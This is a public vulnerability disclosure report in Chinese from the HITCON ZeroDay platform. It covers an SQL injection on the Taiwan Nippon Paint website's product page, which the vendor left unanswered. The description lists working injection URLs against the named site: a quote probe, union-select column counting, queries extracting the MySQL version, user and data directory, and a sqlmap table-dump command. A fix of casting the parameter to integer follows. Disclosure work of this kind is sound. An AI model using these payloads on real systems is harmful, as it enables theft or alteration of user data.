Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00034
- Vendor: 香港商立邦塗料有限公司台灣分公司
- Title: NIPPON PAINT 立邦漆 SQL Injection
- Introduction: 未檢查變數而導致資料庫注入漏洞
處理狀態
目前狀態
公開
Last Update : 2018/03/07
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/01/05 14:55:13 : 新提交 (由 Na₂S₂O₃·5H₂O 更新此狀態)
- 2018/01/05 15:17:54 : 新提交 (由 Na₂S₂O₃·5H₂O 更新此狀態)
- 2018/01/05 15:19:09 : 新提交 (由 Na₂S₂O₃·5H₂O 更新此狀態)
- 2018/01/05 23:30:38 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/01/06 14:52:53 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/01/06 14:52:54 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/01/06 14:52:54 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/03/07 03:00:10 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00034
- 通報者:rextheminion (Na₂S₂O₃·5H₂O)
- 風險:中
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://www.nippon-paint.com.tw/product.php?id=50
敘述
http://www.nippon-paint.com.tw/product.php?id=50'
測試在變數後面加上單引號,會出現 MySQL error message,如圖一,有使用 mysql_real_escape_string()
http://www.nippon-paint.com.tw/product.php?id=50 union select 1,2,3,4,5,6,7,8 --
圖二、圖三,測試出此 table 有幾個欄位
http://www.nippon-paint.com.tw/product.php?id=0 union select 1,@@version,3,4,5,6,user(),@@datadir--
在某些可見欄位上插入想取得的資訊,例如:MySQL version、檔案位置等,如圖四
sqlmap -u "http://www.nippon-paint.com.tw/product.php?id=50" --tables
用 sqlmap 可以掃出他的 db 及 table,如圖五
修補建議
由於已有使用 mysql_real_escape_string() ,建議再將變數做轉型,變數可以以 string 接收,再轉型為 integer,最後再丟入 sql 語句進入資料庫。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。